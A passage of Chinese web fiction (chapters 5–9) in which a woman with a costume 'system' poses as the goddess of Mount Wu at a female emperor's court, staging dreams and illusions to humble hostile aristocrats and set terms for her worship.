被忽悠瘸了的系统一通操作的结果就是,姬荣觉得自己仿佛灵魂出窍一般,似乎就站在神女身旁,看着底下的白雾中那人匍匐跪拜,一步一叩首求着神女赐下甘霖,救她族人性命。
转而她又似乎就是那叩首祈求神眷的族长,在古树下望着神女空灵而淡漠的眼,看着祂坐在那么高的树上,青蛇匍匐于身边,却只觉得自由。
但
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最终她只是姬荣,千百年之后大周的天子姬荣,一个旁观者。
她听见白雾遮蔽的那道身影用那沙哑的,仿佛含着血的嗓音求道:
“请神女赐我甘霖,解大旱,救我族人,救人间。”
砰——砰——砰——
她一下一下地叩着头,给出承诺:
“人间必感念神女恩德,长念巫山,我姬氏一族更愿世世代代祭祀神女,姬氏不绝,祭祀不断”
“神女,求您垂怜”
她不断地请求着,每个字都带着一路艰难险阻带来的血腥味和凡人所能给的最珍贵的东西。
而神女只是看着。
终于,在日月轮转了三次后,神女越下树梢,溅起的灰尘比落叶落下还轻。
神女允许姬姓的族长兼祭司靠近她,又递给她弓和箭:
“我许你射下十一个太阳,但不伤其神魂,只除其金乌身份,不得再落于扶桑”
“待到天上只留一个太阳,会有雨水降落”
呼——
又是迷雾起,一片白茫茫间她听见姬氏女欣喜若狂的感谢之声与承诺。
冰凉的触感再次划过身体,艳红的蛇信触碰她的脸庞,那青色巨蟒的瞳紧紧盯着她:
“小子,是你的祖先自己承诺的香火不断祭祀不绝,然而自我主人于千百年前沉睡后,再未收到过你姬氏的半缕香火了”
“而到了你这一代,已完全忘记了我主人的救命之恩和自己的承诺,甚至血脉稀薄至此,不再能凭借血脉传承记忆知识,也完全遗忘了我的主人”
“如此,也配称作巫吗?”
姬荣猛然一惊,这蛇不是幻境里的旧影!
难怪它最初能碰到她!
硕大的蛇头凑近,帝王后颈猛地一疼,转瞬失去了意识。
姒昭:可以可以!戏演完了打晕就好,然后再把皇帝陛下扔回床上盖好被子就行。等她明早起来只会觉得自己做了个梦。
待到第二日姬荣清晨于床上醒来,望着窗外那高悬于天的大日,又回想起昨夜的梦境。
传言中,上古有大巫,可操纵风雨,移山填海。
她不知道巫能不能做到这些,但她知道巫也曾祈求巫山神女垂怜,且承诺世代供奉。
而神女也不如她们揣测的一样乖戾狠毒,而是那真切施给人雨露甘霖的存在。
但是如今,古老的血脉与传说都已失落,唯神女亘古长存,面对早已忘却祂的凡人。
姬荣不由地想:神女要的究竟是一场祭祀,还是想见一见曾祭祀她的人?即使,那只是那支血脉的延续。
5. 靠换装系统装神明5
今天下朝后姬荣又留了上官玥等一众臣子。
听到系统颇为激动地来告知她这个消息,姒昭不太在意地摆摆手,让它冷静。
系统表示冷静不了一点:“宿主宿主,这怎么能冷静呢?你昨天可是又打出了一个成就哎!”
昨夜回来后系统就提示她打出了新成就【谁入梦来】,成就要求是让任务对象梦到你,对你对梦境产生深刻的印象。
它还是个新统,基本没怎么带过宿主,本以为这次自己要被坑了,结果现在一看……以宿主打成就的速度,它们好像,不用把灵魂出卖给主神哎!
这么想着,系统觉得自己干劲十足:
“你下一步打算怎么做啊宿主?先走哪个任务?侍寝……啊这个不行,你不是女同,那这个打脸宠妃……不对,姬荣是女的,哪里来的宠妃?打脸男宠?”
系统摇摇头,男宠哪里有那么高的地位?君不见他们连宫宴都不能出席。
要她一个神女去打脸男宠,那不是崩人设吗?
姒昭本人却是思绪流转,回想起自己从任务背景中看到的东西,心说这还真不一定。
它继续刷着任务栏的各项任务,一番精挑细选后发现可操作空间都有点小,于是又点开成就那栏看起来了:
“要不试试这个成就【倾国倾城】?姬荣不是在准备给你的祭祀吗?到时候你在典礼上换上漂亮的套装把魅力拉满,给所有人来个魅力暴击!”
“或者这个……不对,这啥?”
看着面前的什么【为伊消得人憔悴】【为爱痴狂】【一往情深】【殉情不是古老的传说】等等,系统感觉自己起了一身鸡皮疙瘩,当即把这些全部划掉。
这不能成啊。
姒昭看着满脸单纯的系统,无奈地摇了摇头。
划着划着,系统刷任务栏的速度慢了下来:“那个,宿主,我可不可以问你一个问题啊?”
姒昭撑着下巴给了它个眼神:“当然可以。”
她对自己的搭档——尤其做实事的好搭档,可是很宽容的。
系统挠挠头:“嘿嘿,就是,宿主,你搞昨晚这么一出是为了什么?”
“难道只是单纯的让皇帝对你放下戒心、同时给你的到来找一个合适的理由?”
系统自己也想进步,想从优秀的有成绩的宿主这里学习。
它虽只是个系统,却也明白帝王不可能被情感轻易左右,在她眼里永远利益大于一切。
姒昭这么做,只会给姬荣袒露一个弱点。
姒昭:“当然……不是。”
“说出来可能你会觉得我异想天开,但是,我想要在力所能及的范围内,让这个世界变得更好,让我的同胞们得到生而为人本该有的权力。”
争取创造女男平等的世界。
系统则完全和她的脑电波错开,以为她说的是另一件事。
让世界变得更好!听到这话,系统心里油然升起一股敬佩。
想起之前的同行绑定过的那些宿主用各种知识让百姓过得更好的例子,它扑到姒昭怀里:
“天呐宿主,我就知道!你真是大好人呜呜呜,像你这样心怀天下的人,放在你的世界你应该获得□□!”
姒昭突然被扑了个满怀,有点生疏地摸摸系统:
“哎呀,主要你看啊,我现在有能力去做啊,古话说达则兼济天下嘛,我想这么做很久了。”
系统只觉得宿主人真好,是个超级善良的宝宝,它果然没看错人!
姒昭则觉得系统居然意外地通情达理,好统。
她做这一切最重要的原因当然是,这是一个铺垫,一个开头,一个未来注定会被点燃的导火索,往后天下之大变,由此开始。
她在任务开始之前看过任务背景,心里只觉得愤怒和可惜。
太可惜了不是吗?
那么多的王朝,无数的帝王登上王位又死去,新王继位。
好不容易,好不容易,这里面出了一个女人。
一个女人给了无数女人机会。
她看到在姬荣治下,朝堂学府涌现出那么多女性,民间多了那么多女老板、女商人,她们可以和离而不必先进一趟监狱坐几年牢,可以养多个男宠而不被指着鼻子骂放荡,可以选择多次嫁人不守寡或不嫁人,可以有穿衣自由,大胆露出脖颈手臂……
那么好的时代,却猝不及防地终止了。
在她看到的背景里,系统原本给她选定的攻略对象——现在尚且年幼的下一任男皇帝,他杀死了原本姬荣定下的太子,他的长姐,然后取而代之。
从此女子的衣物愈来愈厚,愈来愈保守,直到遮住脖子遮住手臂;女子的脚步被束缚在后宅,再不能踏出一步;女子本身从“人”到“物”,随便打杀磋磨。
不仅如此,他们把这一切归咎于姬荣,说她把女人的路走窄了,让她们只能过这种日子。
到底是姬荣的过错,还是他们为了扼杀、避免下一个姬荣出现?
当看到这一切时姒昭在愤怒,所以她选择了这个时间点,这是姬荣的天下姬荣的时代,她会让这一切延续下去,改写她所见的背景,她要女人长长久久地坐在皇位上,直到男人再也发不出半点声音。
若是再说的简单一点:她是女人。
这不就够了吗?
她是女人,姬荣也是女人,姬荣的肱骨亲信大都是女人,她们才是天然的同类。
难道她要选择帮一个男人?
可笑。
她会做到她想做的一切,同时她很意外系统就这样站在了她这一边,本来以为要多费些口舌。
心情变好,她摸摸系统承诺道:
“你放心,我做的这一切的同时,绝不会耽误完
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成任务。”
*
“祂做的这一切,究竟又是为了什么呢?”
案上的檀香袅袅升起,君臣也有和系统相似的疑问。
姬荣将自己梦中所见告知心腹。
她似乎找到了有关【姬氏女】的答案,又似乎被更多的疑惑包裹。
巫山神女,巫,二者有何关联?巫之一脉那传言中操风纵雨的能力是否缘自于神女的恩泽?她为巫之一脉,又是否能重新拥有这样的能力?
且梦中所见巫山神女并非脾气乖戾的恶神,倒更符合大周神话里的善神,但为何初见时展现出来的形象是那样的?
太多的疑惑充斥着内心,直到有人幽幽道:
“神女祂,或许只是女人的神女”
姬氏的传承为何断绝,血脉为何逐渐稀薄,结合帝王梦中所见姬氏女为族长祭司,兼之各类古籍记载上古之时女子为尊……
她们不能不去想,是不是男人污浊的血脉分流混淆了姬氏纯正的女血?
加之男人的压迫猎杀,姬氏女逐渐死去,被冠上男人的姓氏失去姬氏的荣耀,而关于神女、关于女神的信仰也逐渐被磨灭。
也许那日宫宴上,神女正是因为看到座席间满座的男人而愤怒,因为世间的女子失权而愤怒?
满座的女人眼中燃起火焰,有人率先出声:
“陛下!”
“还请陛下开尊口,为大周拜一位国师!属于女人的国师!”
旁边的人考虑的更多,声音温婉却不失坚韧:
“陛下,臣以为凡人难测神心,此间一切皆为臣等斗胆猜测所得,不可在神女前妄言”
“且神心难测,人间俗物难以打动神心,我等凡人又能付出什么来请得神女为大周国师?”
话语看似沉稳谦卑,但那微颤的手暴露她内心的汹涌浪潮,果然,她的下一句话是:
“然而臣以为,既然神女与陛下有此渊源,且神女慈悲,臣恳请陛下无论如何留下神女,让神女久居大周”
神女在,就是周可以扯出来的一张虎皮,是神眷。
她们已经经历过许多不公的事,受到过无数的磋磨与苦难,而这其中诸多是因为性别,因为男人掌权。
如今吏治清明,国富民强,南蛮已破,周新得了大片能一年三熟的疆土,相信在不久的将来能做到小邑尤藏万家室。
努力到如今,她们也能有足够的资源钱财去做一些早就想做的事,比如让女人站起来,堂堂正正地走在阳光下。
若神女只是女人的神女,她们必当竭尽全力恢复上古荣光;
若神女不是……她们难道会因此改变志向吗?
昔年没有神女她们不也做到了要做的事吗?
面对满屋子殷切的目光和虔诚的请愿,姬荣郑重承诺:
“诸君,朕必当竭尽全力。”
6. 靠换装系统装神明6
神女降临的消息为这本就暗流涌动的京城添上了一把火。
沉寂,发酵,蛰伏,最后准备着一击致命。
不是所有人都支持姬荣的统治,尤其她之前的许多政策已经让世家不满,只是碍于她如今势大,不得不装出一副俯首帖耳的模样。
有关巫山神女的消息在京中流传发酵地已经够久了,他们从中窥见转机。
很快便有流言传出,说姒昭是个骗子,不过用骗术蒙蔽了皇帝和朝堂诸公,同时对以上官玥为首的一众朝臣大力抨击,说她们有眼无珠,竟然让此等术士公然出现在陛下眼前舞文弄墨,言词间隐晦指责姬荣。
普通百姓和装糊涂的公卿之家只当听不懂那些指责,仅是在此事上凑个热闹。
已经站了队的和心里有自己的小九九的则捡着对自身有利的讲,暗自发力。
皇帝则觉得这是一个极好的机会,她之前还在烦恼如何将神女降临天佑大周的消息传出去,让其广为流传,现在可不正是瞌睡送来了枕头?
管她流言如何,至少所有人都知道神女在大周了。
至于其她嘛,这不有神女在吗?她们还能趁此机会多了解神女一点。
因此也并未管太多,只是让人在暗中把握一下大体风向。
说到底那天能亲眼看到神女的不过是极少一部分,大部分没看见的人更多持怀疑态度。
公卿多在固定的寺庙道馆捐香油钱,和尚道士从中获利良多,如今皇室突然多了个神女,那些贪了香油钱觉得唯恐自己的好处被分走的也跟着世家大族一起抨击起姒昭。
流言越演越烈,姒昭却完全不受影响,百无聊赖地躺在榻上喝着冰镇可乐。
所谓皇帝不急太监急,她无所事事,系统则急得团团转。
“宿主宿主,怎么办啊?外面都在传你是骗子,说你展露的那些手段全是骗术”
它心里一紧,完了,她们确实是骗子,也确实用的骗术,这可怎么办啊!
“要是被拆穿了,我们就完蛋了……”
姒昭:“慌什么,我们不是已经从商城买了很多东西吗?再不济我们不是新抽了套套装吗?”
她摸出个红薯一啃:“能演,不慌。”
“你只要等着接收新成就和新任务奖励就行。”
系统:“啊?这,这样吗?”
是这样吗?
可是从商城刷出来的衣服头发妆容景色不基本都是普通品质?再不然就是不适合在古代穿着的衣服或者饰品。
新抽出来的稀有套装珍奇套装不是要在祭祀上用来巩固神设吗?
心里的疑惑没得到解答,姒昭先一步开口召来了负责侍候她的女官:
“听闻京中流言众多”
“孩子总能得到宽恕,但也该学着懂事一些。”
“去告诉皇帝,她该为我举办一场盛宴”
能被拨来伺候神女的自然聪慧懂事,谨言慎行,只听令,不思考无需自己思考的。
恭敬地应了是便退下了。
得到消息的姬荣苦笑一声,孩子,她在神女面前可不就是姬氏的小孩子吗?
而她知道,自神女入宫以来未曾踏出居所一步,她也未曾派人做手脚让那些流言传到神女耳中,可神女还是知道了……
真奇怪,这不恰是她要验证的吗?即使只是小小的、看似微不足道的一环。
可为何心底的预感越发不妙?为神女“懂事一些”的命令吗?
神女说要有一场盛宴,那么“菜”是什么?她自己又是否是奉给神女的菜品?
想法再多,最后她也只能回一句:
“莫敢不从。”
只能寄希望于神女说的宽恕。
*
神女发话,帝王办事,宴会很快就办起来了。
清风拂过檐下风铃,传来阵阵清脆悦耳的声响。
宴席间满座身份贵重的侯爵世家,兼有其带来戳穿“神女”骗术的仙师高僧,更不缺各类精通骗术、专门装神弄鬼的方士。
他们要让方士在皇帝和那所谓的神女面前表演并一一解说其骗术原理,要证明那神女根本就是骗子!
至于不是骗子当如何……那也在他们计划之内。
虽是真仙,不也见了皇帝、进了皇宫?
足以证明凡间——尤其贵族皇室,依旧有能打动对方的东西,甚至祂依旧得遵守人间规则。
那么他们也不是没有办法让其为之所用。
没看见旁边的道士高僧吗?
专门为此准备的。
他们傲慢而自视甚高,公然在席间谈着有关神女的一切,说她是骗子,又说该如何利用。
这些人多是年事已高胡子花白的世家家主,即使如今皇权强盛世家衰弱,可自古以来孝字当头,他们未曾犯下大错,那世人便多敬重高寿者。
即使是皇帝,面对这群跟蟑螂一样不能杀又手中仍有部分权力、影响力巨大的老东西,也很为难。
但姬荣毕竟是姬荣,杀死所有兄
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弟给上一任男皇下慢性毒药,使得皇位不得不落到自己身上的铁血皇帝,积威甚重。
任那些迂腐东西怎么吵,当她到来时也都只能噤声跪拜。
但他们那垂下的眸在触及从面前经过的衣角时控制不住地震颤,他们不敢相信自己看到了什么。
那片衣角——那片衣角——
绣着山水纹样的帝王服饰在后,而比那服饰更先掠过他们眼前的,青红金三色的衣衫,属于另一个人。
或者,那是,神。
直到得以抬起头直视眼前的场景,他们真正看到,高高在上的帝王真的允许她人走在她身前。
哪怕只是一个身位,其中所蕴含的意义也是不一样的。
不等他们从震惊中回过神来,姬荣已坐到了上首的位置,姒昭则坐在她身旁。
只是比起姬荣端正的坐姿,她明显随性许多。
席间人观她外貌,分明只是一个普通的女性,丝毫不见她人所传什么半人半兽的可怖模样。
于是他们刚提起一半的心又放回肚子里了。
没事,不慌,虽说这个女人在皇帝心里的地位比他们想的是高了那么一点点,但基本没偏离剧本,可喷。
几不可闻的衣料摩擦之声后,一个头发花白的世家家主就跳出来了:
“陛下!臣有本要奏!”
姬荣没立刻答复,而是先看了眼姒昭。
见对方还是那副事不关己的模样,她心里便有了数:
“准奏”
有了皇帝的纵容,在座的迂腐蟑螂基本都大肆发表了一番自己的见解,其中不乏引经据典辞藻华丽之辈,拐着弯说姒昭是假的,可惜了由于他们文学素养太高,引经据典用的也是这个世界的典故,加之说话太拗口,姒昭没听懂。
接着又是那堆方士上台,按照世家交代的,开始表演跳大神并附上详细解析。
比如:
“陛下你看!所谓的下油锅而不伤不过是把冷水放在下层再倒上热油而已!”
“紫气东来也不过是我等事先看天象所预测的!”
“这唱歌犬实际也是人包裹上狗皮而已!”
……
姒昭:看困了。
这场宴会办的很热闹,不过姒昭一直表现的兴致缺缺。
直到最后这群家伙对她一通抨击后被姬荣按下去,再转过头来问一句:
“神女怎么看?”
姒昭这才打起精神来。这才到她的戏份,才有点儿意思。
7. 靠换装系统装神明7
姒昭伸了个懒腰,目光一一扫过席间众人。
她杵着下巴,饶有兴致地望着他们:“你们觉得我是骗子?”
不知为何,被她清凌凌的目光一扫,先前还叫的欢的都不敢出声了。
明明只是个看起来再普通不过的女人……
他们的目光凝在那青红金三色的衣裳和她所在的位置上,那种不妙的预感像蛇一样爬上后背,在耳畔吐着信子。
那种颜色的衣裳——那种极正极浓艳的颜色——那种象征着皇权的位置——
有人眼前阵阵发黑,只觉天旋地转。
姬氏小儿便真的对这个所谓的神女那么敬重、把宝都压在她上面了吗?
他们不知道这是姒昭做任务得来的套装,非姬荣所赠。
不过即使如此,姬荣对她穿着这样代表皇室身份颜色的衣裳不制止,本也代表一种态度。
可是他们天然与姬荣有利益冲突。
开弓没有回头箭,既已经做了,那就要做绝。
一鹤发鸡皮的老头不着痕迹地打量了一遍身边的高僧道士及同盟,最终一鼓作气起身直视姒昭和姬荣:
“陛下!口说无凭!此女既自称神仙下凡,便当给出证据!”
说罢,想起自己书香世家的身份,又行了一礼,端着一副清高孤傲的姿态拱拱手:
“臣不忍陛下被狡诈之人所骗,故出此言。但若此女能证明自己所言非虚,我谢氏也非那等口出狂言诬陷她人之辈,自当赔礼道歉。”
众人:……怎么赔礼道歉?把神女请到你家给予你谢家庇护、供你等求仙问道那种吗?
“呵”
姒昭意味不明地一笑,似嘲讽又似冷嗤。
她站起身来,神色冷傲,手腕向外一翻,众人只见她手上便出现了一条青绿色的鞭子。
“愚不可及”
口中吐出几个冰冷的字,她抬手猛地一挥鞭子。
她在上首,与那说话的谢氏隔着一段距离,一段那鞭子绝不可能挥到谢氏身上的距离。
可她本也不是要亲自动手打人。
有损她神女的形象。
呼——
青色鞭子落下,室内大风骤起。
太阳仍在,但所有人都看见一轮皎洁的月也悬在了天上——不,不是天上,是她们眼前!近得几乎可以触碰到的眼前!
部分参加过那场宴会的人思绪被拉回那夜神女降临的那一刻,心中不自觉想:
或许这与那夜刮是同一场风。
却又忍不住想,这轮月却是不一样的,和那夜不同,却也同样是为神女而升起。
或许那夜殿外也曾有这样的月,只是她们未能有幸见到。
日月同时凌空。
原来神女挥鞭,鞭笞的是无形无拘束的风与月。
风月也为神女所召唤。
更多的人未曾见过神女降世场景的人只是本能地以袖子遮住险些被迷住的眼,却在下一秒传出此起彼伏的惨叫与哀嚎。
姒昭:嗯,部件不多,但够用。之前拿来给姬荣造梦过,今天再用一回。
方才狂傲的谢氏只觉有什么狠狠击中自己,他本人猝不及防地被抽飞出去,撞在席间的桌子上痛呼出声。
然而被抽飞的不止他一人。
姬荣等未曾参与这场“针对神女真假的辩论”的人——包括随行女官与侍者,俱是无恙。
而那些参与了的,在席间指责过神女的,无一例外被某种神秘力量抽飞出去,或撞上柱子或撞上桌子,全都形容狼狈。
大风骤起又突兀停止,一身形几乎遮天蔽日的青色巨蟒投下巨大的阴影,对着那些狼狈不堪的老东西露出獠牙:
“什么时候,这等卑贱臭虫也能出现在我主人面前?”
“身上流着肮脏之血的天残之人也配质问神明,狂傲,可恶,该杀!”
它那双竖瞳扫过地上躺着哀嚎的人,又转而锁定天子御座上的姬荣,吐着鲜红的蛇信将硕大的蛇头凑近她:
“姬氏便是这样供奉我主人的吗?”
它冷冷道:“背信弃义之辈,叛徒。”
往日高贵的世家家主有不少昏死或吐血的,然而没有任何人敢去关心一下,她们都因眼前那巨蛇而恐惧,丝毫不怀疑自己还不够对方塞牙缝的。
更何况还有那蛇口中吐露的话语。
那才是真正蕴含着与神有关、可改变天下大势之物。
与之相比,蛇能长这么大会说话都不奇怪了。
天残?他们为什么被判定为天残?
陛下,不,姬氏又与神女有何关系?结合那夜宫宴……
她们心思各异。
抬起头,又惊恐地看见那轮巨大的、离她们似乎很近的月亮,朝她们眨了一下眼。
有人以为自己眼花了,可再抬头,那月似乎看得懂她们的心思,又俏皮地眨了一下眼,缓慢而巨大。
有人当场吓晕。
目睹此景的姒昭:不是吧……她只是把两个部件——那个很丑的虚空之眼和这个很寡的月亮叠了一下而已……这不怕姬荣觉得眼熟补救一下嘛……
姬荣不觉得眼熟,只觉得恐怖。
但到底是心理素质强大,她保持着镇定——得益于在梦中已见过类似场面,开口解释:
“姬氏并未背信弃义”
她转而望向姒昭:
“神女”
她朝姒昭走去,而青蛇,也就是系统,并未阻拦。
“神女,”姬荣情深义重地道:“姬氏传承断绝,荣也是得神女慷慨指点才知自己竟做了此等背信弃义之徒”
“犯下此等大错,荣万死难辞其咎啊!”
一滴泪顺着眼角落下,姬荣面上一派复杂的神色,在姒昭面前拜了下去:
“□□既得神女垂怜,能面见神女圣颜,荣感念神女恩德,愿续祖先之缘,抱神女仁慈救世之恩,永世供奉神女啊!”
说着,她再朝姒昭深深一拜:
“还求神女怜惜,让荣得以接过祖先遗志,姬氏不绝,祭祀不断,今姬氏有荣,怎可断绝祭祀?”
“荣为大周之帝王,当以身作则,不可为背弃恩主之人,必当为神女塑身立庙,周室不绝,祭祀不断”
她说得情深意切,好在姒昭演技也不差。
她扶着额头,神情恍惚,似被姬荣的话触动,想起上古时期与姬氏族长的约定。
人与神之约。
约定要永远记得、供奉她的人。
她许之以荣耀、血脉延续的人。
一片静默里,她长睫微微颤抖,终是开口道:
“那便,如此吧。”
随着她话音落下,姬荣一颗心也放回了肚子里。
成了。
而席间众人则心下各有计较。
很明显,神女与帝王间有她们不知道的事,比如姬氏的祭祀与背信弃义之说,还有神女的救世之说。
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神女就此离场,那些被鞭笞过的糊涂蛋多是年事已高,又经这么一遭,活不活得下去和能活多久都是两说,再加上帝王的态度和神女的话,京城的风向,或许渐渐明朗起来。
此时的姒昭最关心的则是她的成就和任务:
恭喜你打出成就【昨日今朝】:我在今朝,如见昨日
——这个是关于姬氏祭祀的,昨日姬氏族长是这样给姒昭祭祀,今天姬荣也是这样给她祭祀
恭喜你打出成就【清醒沉沦】:攻略对象对你情深不移,ta愿意为你做替身做小三,只要能留住你
——这个呃,也是关于祭祀,姬荣模仿她那不存在的先辈讨好姒昭嘛,这怎么不算一种替身文学?
恭喜你打出成就【女人心海底针】:所有人都在揣测你的心思
——嗯,估计是在思考姬氏和神女的渊源,还有神女灵宠青蛇口中的天残是怎么一回事
恭喜你打出成就【宠爱非凡】:攻略对象对你展现非凡的宠爱,闻达内外
——能坐以往只有皇帝独坐的位置,穿非皇族不能穿的衣服,外加随意鞭打(雾)朝臣,嗯,确实非凡
恭喜你打出成就【最毒妇人心】:让人由衷地恐惧你觉得你恶毒
——不用想,肯定是那堆雄性蟑螂这么觉得
但是,
“统啊,在吗?”
姒昭指着这个【最毒妇人心】:“你是智能的统子对吧?”
刚演完青蛇的系统瞬间满血复活,骄傲地挺起胸膛:“那当然。”
姒昭:“那你这里就不对啦。”
“你看,原话是最毒负人心吧?怎么就变成妇人了呢?”
“你扮演青蛇仙君的时候用的也是女孩子的声音对不对?而且你的宿主也是女生对不对?系统又和宿主是一体的,你怎么可以这样骂宿主骂自己?”
系统……系统的代码正在高速运行中。
最终,它铿锵有力地吐出一个字:“对!”
经过它的审查,宿主说的全对!
姒昭露出满意的微笑:
“那这个bug是不是该修改一下?”
系统点头:“好的宿主,我马上改!”
“对了,我会向总部反应这个问题的,你放心!”
姒昭笑得更温柔了:“好统统,我就知道你是最好的系统!”
单纯系统再次被夸到脸红,心里觉得它的宿主真的超级温柔。
本来还想跟宿主说说让宿主下次不要再拿自己当鞭子抽——没错,姒昭最开始拿的“青色鞭子”是系统。
那个青蛇皮套很贵的,自然附带一些功能,比如说可大可小可粗可细。
于是姒昭就拎着那条蛇当鞭子用,挥下去那一刻恰到好处地让系统在空间里打开第一次出场用的鼓风机电风扇往外吹风。
然后趁着所有人都被风吹的睁不开眼放出月亮,再叠上部件虚空之眼,伪造出日月凌空的假象。
同时系统皮套被她往下面一甩,再由系统控制着变大,按照她的指示把那些雄性蟑螂抽飞,就是这样。
姒昭很拉风,系统很命苦。
但看看满目的成就,再看看温柔的宿主,系统下定决心:
这点苦算什么?它能行!让暴风雨来的更猛烈些吧!
姒昭:“哎?你那么有干劲吗?”
她一拍手:“那好吧,我要开始侍寝了。”
系统:“嗯???!”
8. 靠换装系统装神明8
系统震惊,系统不解。
“侍寝???”
“可可可是宿主!这不就崩人设了吗?!”
神女怎么可以做这种事!
姒昭敲敲它:“你在想什么啊统统,当然不是你想的那种啦。”
“放心好啦,不需要我自己主动,皇帝陛下会亲自来找我的。”
系统,系统不懂,但系统选择相信宿主。
果然不出姒昭所料,翌日,皇帝亲至,求见神女。
*
这里是神女的居所,自然华美无比,光鲜无尘。
隔着氤氲飘浮的茶香,帝王与神明各执棋子,手谈对弈。
棋子接连落下,两人有一搭没一搭地聊着,多是姬荣以人间富贵繁华及权力养出的眼界见识讨姒昭欢心,姒昭只偶尔应几句。
当然,她其实只是怕多说多错,崩神设。
最后一颗棋子落下,姬荣道:
“荣自认棋艺即使算不上多么出类拔萃,却也算得上不俗,多年来与大师对弈也多能不落下风,不想神女更是驾轻就熟,荣终究棋差一招啊”
说罢,她抚掌一笑,抬手朝姒昭施了一礼:
“不过能与神女对弈,也是荣之幸事。天下能有此殊荣者几何?终是感念神女宽容慈悲,平易近人。”
姒昭面容淡漠,波澜不惊。
系统:……那是我下的啊喂!
作为一个系统,一个主神出品的、绑定宿主都会签合同的正规系统,预测棋手的招数和给出应对策略是万千功能里最基本的一项。
姒昭:对哦,早知道让系统套上青蛇壳子来跟姬荣下了,这样格调不是一下子就更上一层楼了吗?失策失策。
这边姬荣还在吹姒昭的彩虹屁,当然,作为政治生物,她吹的很有水平,而且这种生物很多时候不会无的放矢,说一句话做一件事肯定都有其目的。
果然,吹着吹着她的话题就丝滑跳转到了她和青蛇之前说过的话上。
“……只是不知,神女想要什么样的祭祀?”
她神色诚恳:
“若按以往来看,自然是在宗庙供奉过便好,可神女于姬氏有大恩,如今又真身临世,祭祀典礼自然也该是不同”
“且那日青蛇仙君斥责谢氏乃天残,我等凡人不解其意,恐日后冲撞了神女,还望神女垂怜,为我等凡人解惑”
这几日以来,根据姒昭表现出来的东西,姬荣大概摸清了她的性子,看似一言不合就喊打喊杀,威严不可冒犯,实际……好吧,也差不多。
但是如果不冒犯这位神明,她对很多事情都表现的事不关己兴致缺缺,也很好说话。
尤其可能因为自己是姬氏后代的缘故,她问对方问题的时候姒昭大多也愿意回答,不觉得冒犯。
事实证明她摸索的没错,姒昭定睛望向她,嘴角扯出一抹笑意,不见动怒之色。
然而望着那抹笑,姬荣不知为何心里不觉安定,反有种莫名的慌乱。
等等——
姬荣觉得这感觉有点熟悉,好像,神女第一次降临那晚,她也有这种感觉,只是比现在强烈很多。
该不会——
“想知道?”
神女似笑非笑地望着她,姬荣心下一跳,那种不好的感觉更加强烈。
“想知道啊,那就,拿出诚意给我看。”
姒昭撑着脑袋,懒懒把玩着价值千金的茶盏,某种懒散而漫不经心的肆意冲淡了此前对弈时她身上的端庄优雅,端坐高堂的神女一下子成了潇洒自在的人间客。
她出声道:
“你问我祭祀该如何办,我倒想问你愿意拿什么来供奉我?”
“曾经的姬氏会献上海边蚌女最曼妙的舞姿,山林中鹿鸣莺啼也难以比拟的美妙歌声,所猎得的海中陆地天空里最肥美的猎物,赤湖深处开的最艳丽最珍贵的花朵,琼树之内最甘醇的美酒”
一个个美妙而陌生的词汇自她口中吐出,像月亮上落下最皎洁的月光,幽远洁白而神秘,难以触及。
神女那看似与凡人无异的黑瞳看向她,姬荣却觉得自己明明看到了那里面倒映着过往未来千古的岁月。
“她们说最好的东西神先享用”
“你觉得呢?”
“人间天子”
面对那双眼睛,姬荣有一瞬间失语。
不,或许不只是那双眼睛,或许是,她觉得她正被她血脉的始祖、神女施恩的那些人
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所审视。
天子郑重道:
“最好的东西神先享用”
“荣,谨遵先祖教诲”
姒昭淡然一笑:
“那如果神要享用的包括你呢?陛下”
什么?
姬荣因她的话而怔。
享用……神女所说的享用是指……
系统:啊啊啊啊!宿主!你这么露骨真的好吗?
姒昭:啊?
思维好像不在同一频道。
系统解释:宿主你不是说要侍寝吗?我以为……是让姬荣来侍寝来着。难道不是这个意思?
姒昭:。。。我不是女同。。。
事实证明,不止系统和姒昭,包括姬荣的思维在内,两人一统思维就没有统一过。
姬荣对于“享用”的理解更多是偏向食欲方面,毕竟姒昭最初那套【林野迹】给人冲击太大了,极度接近上古神话里食人的神明。
再加上刚刚姒昭的话语里有“最肥美的猎物”,姬荣差点以为自己命不久矣,要成为端上餐桌的一道菜。
好在姒昭及时把跑偏的思维拉回来:
“既是祭祀,陛下当保持庄重,焚香沐浴,入夜则至吾房中亲自伺候歇息”
“平每日只食一餐,每餐不得沾荤腥,只一箪食,一瓢饮”
“典礼上所献礼物也当表现陛下心意,不得敷衍”
“如此,方能见半分诚意”
姬荣:那么惨的吗?
每天只吃那么一点还不吃肉,这怎么有力气有精力?
入夜还要来伺候她睡觉?话说神女您不是不需要睡眠吗?该不会神女不睡她也不能睡吧?
别呀,她白天还得处理公务哎!
至于祭祀典礼上的祭品——神女把它叫做礼物了,也许是特指她所应当给出的,与祭品区分的礼物,这她哪里知道该准备什么才能让神女满意?
就这,还“只能见半分诚意”。
但她转念一想,昨天青蛇还怒斥她姬氏一族忘恩负义来着……好吧,确实是只见半分诚意。
思绪千回百转,现实不过几秒的时间。
想通后姬荣顺从地行了一礼:
“荣领命。”
9. 靠换装系统装神明9
姬荣的执行力非常强。
白天姒昭才告诉她要怎么做,天一黑她真就来了。
沐浴焚香,一副要献祭自己的姿态。
平日里殿内多为贴身女官为姒昭守夜,今日这个工作被皇帝陛下接手了,到就寝时间就来外面守夜的小垫子上坐好。
姒昭:……这样她怎么完成侍寝任务?
“给我倒杯茶”
神女的声音幽幽飘来,姬荣连忙起身,倒好茶恭恭敬敬地给姒昭端过去。
神女依旧保持着人类的形态,摇曳的烛光下她接过那杯茶,下一秒却是翻转手腕,将茶水尽数泼在了姬荣脸上。
这是提前准备好、水温刚好可入口的茶,不至于烫到人。即使多日以来宫人不曾见神女进食,也鲜少喝水,但该备上的依旧放在那里,不会怠慢她。
此时那杯茶全都落在了帝王脸上,姬荣没想到会有这一出,她这一生也没经历过这种事,即使在最落魄的时期也没人敢这样对她。晶莹的水珠从脸颊上滚落,她有那么一瞬的茫然。
系统尖叫:宿主!你干嘛!!
那可是皇帝!皇帝啊!心狠手辣弑兄弑父的铁血皇帝姬荣啊!!!
我们一定要这样欺负侮辱她吗?!这样做真的不会和她交恶吗?!
姒昭:闭嘴。
系统乖乖噤声。其实比起姬荣,它还是更害怕姒昭一点。
水珠滑落,姬荣连忙致歉:
“神女息怒”
系统:哎?
怎么和它想的不一样?
姬荣:“荣谨遵神女教诲,今日只食一餐,只一箪食一瓢饮,也已焚香沐浴过了,祭祀的事宜也在进行,不知何处惹怒了神女,荣愚钝,还望神女明示。”
姒昭没出声,淡然地理了理衣袖:“到我身边来。”
